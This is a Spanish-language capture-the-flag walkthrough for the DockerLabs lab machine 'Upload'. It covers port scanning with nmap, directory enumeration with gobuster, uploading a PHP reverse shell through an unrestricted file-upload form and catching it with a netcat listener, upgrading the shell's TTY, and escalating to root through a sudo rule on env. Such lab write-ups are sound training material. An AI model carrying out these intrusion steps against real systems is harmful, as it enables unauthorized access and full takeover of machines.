Upload - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | El Pingüino de Mario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.nmap -p80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al analizar el puerto 80, encontramos una página de subida de archivos.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Identificamos la ruta /uploads, donde se almacenarán los archivos que subamos. Aprovechamos esta función para cargar una reverse shell en PHP.
Reverse Shell
Creamos un archivo shell.php y cargamos una reverse shell usando la herramienta Reverseshell de Pentest Monkey para crear una shell en PHP. La reverse shell se encuentra disponible en:
Una vez subido el archivo, accedemos a la ruta /uploads y ejecutamos la shell.
No salta un mensaje de que se ha subido el archivo accedmos a la ruta /uploads y lo ejecutamos
Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:
nc -lvnp 4444
Al acceder a la reverse shell desde el navegador, logramos obtener acceso como www-data.
Logramos acceso como www-data.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Escalada de privilegios
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar env como root.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Ejecutamos el siguiente comando para elevar privilegios:
sudo /usr/bin/env /bin/sh
Ya somos root.